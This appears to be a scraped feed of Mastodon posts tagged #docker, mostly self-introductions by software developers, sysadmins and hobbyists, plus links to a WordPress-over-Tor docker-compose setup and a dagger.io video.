Won't 'toot' much, but when I do, I'm probably rambling on about something related to #cars, #technology, #music, or just life in general.

Feel free to drop me a follow and see you around!

mk

@mk@mastodon.satoshishop.de

publicly available #wordpress installation in 46seconds with #docker-compose and #tor.

video:
https://peertube.satoshishop.de/w/mv54mzwUXvjvsCNCnb2Gij

docker-compose.yml:
https://hedgedoc.satoshishop.de/vHqDFNVORwmMcETMwT0f7A#docker-composeyml---non-anonymous-mode-faster

Scopique

@scopique@gamepad.club

#intro

Scopique everywhere. Life-long #gamer, super-entheusiastic about #starcitizen.

Occasional attempted #gamedev, but taking an extended break.

Mostly life-long #developer, currently #fullstack including #reactjs #csharp #sqlserver #docker #nodejs and whatever else fits the bill. Currently working on a secret project for one hour every three months.

#blogger at scopique.com.

I dunno what else to post here right now. I think I covered all the hashtags.

Solomon Hykes

@shykes@hachyderm.io

This has to be the funniest video explanation of the dagger.io that I’ve ever seen 😂 Well done @AupseLaurent

https://m.youtube.com/watch?v=m5mauLiCp3Y

Note: voice is in French but there are US subtitles 🇫🇷🇺🇸

#DevOps #cicd #docker

Jeff Standen

@jeff@phpc.social

Hello! I'm Jeff, a software architect near L.A.

From 1994-96 I ran a dialup #bbs with >1,000 users sharing 8 lines (oof). By the end it provided MINIX shell accounts + Internet email via FIDO. I've been online ever since.

I've been building Cerb.ai (formerly Cerberus Helpdesk) in #php + #mysql full-time for nearly 21 years. 1000s of teams use it for high-volume shared webmail + workflow automation.

I'm also interested in #aws #docker #machinelearning #german #boardgames

#introduction

Robert von Burg

@eitch@mstdn.gsi.li

So i guess an #introduction is the thing to do. I'm a software developer with heavy focus on Java, i work at https://atexxi.ch which i co-founded, using https://strolch.li on a #RaspberryPi to communicate with our servers to try and lessen nurses burden on drug logistics.

I've been using Linux as my daily driver for over a decade, do some gaming, and love setting up infrastructure like #docker #Mastodon #Proxmox #gitea etc.

Uffe

@uffeb@mastodon.social

Lidt om mig, meget om IT

#introduction
Hej alle.
Jeg er #computer og #IT entusiast.
Yder ofte #itsupport
Går op i IT sikkerhed og at undgå dem der samler og sælger dine personlige data.
Jeg ville ønske at alle brugte Mastodon eller lign. istedet for FB/twitter, så vidt muligt altså.
#bakmandit.
Jeg roder med netværk, #pfsense #router #firewall hardware, server-apps, #docker #raspberrypi #línux #worldoftanks #windows

Du er velkommen til at følge mig.

🇳🇱 🇪🇺Jeroen 🇺🇦 🇺🇦 🇺🇦

@jeroen94704@fosstodon.org

Time for an #introduction I guess.

I am:

- #Eindhoven native
- Physicist by training
- Software developer by profession (industrial and medical equipment, mainly #C++, but also #C and #Python)
- Electronics tinkerer (#ESP8266, #D1Mini, #mechanicalkeyboards, #platformio, #kicad)
- Smart home hobbyist (#HomeAssistant, #MQTT, #Tasmota)
- Into #selfhosting (#docker, #mailpile, #pihole)
- 3D printing early adopter (since 2014, #prusa, #marlin, #fusion360)

Rory McCune

@raesene@infosec.exchange

As appears to be tradition, here's an #introduction from me :) After some time as a #Netware admin, I've been in #infosec for a bit over 20 years.

Started in financial services as a security analyst, moved into #pentesting for banks then as a consultant for various companies and now experiencing the sometimes odd world of Security Advocacy.

Tech-wise these days I focus on #Kubernetes #Docker and all things containerization, but dabble in #webappsec things and code in #ruby and #golang when required.

Magnus Hedemark

@magnus919@fosstodon.org

by way of re-#introductions...

I work in tech (surprise), usually in middle or senior management. But I started as a SysAdmin. I still keep and enjoy a #homelab, messing with #raspberrypi, #homeassistant, #docker. More recently I've gotten into #vr and it gets me feeling entrepreneurial with all of the possibilities.

I also enjoy #photography, #aquarium fish, and #houseplants.

I'm also openly #ActuallyAutistic #ADHD #bisexual #ptsd

Artemis

@art_codesmith@toot.cafe

So, my last post (at the moment of this post) was in Nov 2019, so a new #introduction post might be in order.

Hello everyone! My name is Artemis. I will mostly write about #Programming (incl. #Ruby, #Python, #Clojure, #Elixir, #Golang, #Docker and others), #SciFi, #fantasy with occasional various nerdy postings (#linux/#unix #comicbooks, #lego, #formulae), #lgbtqi stuff or plain nonsense-posting.

Hope you enjoy!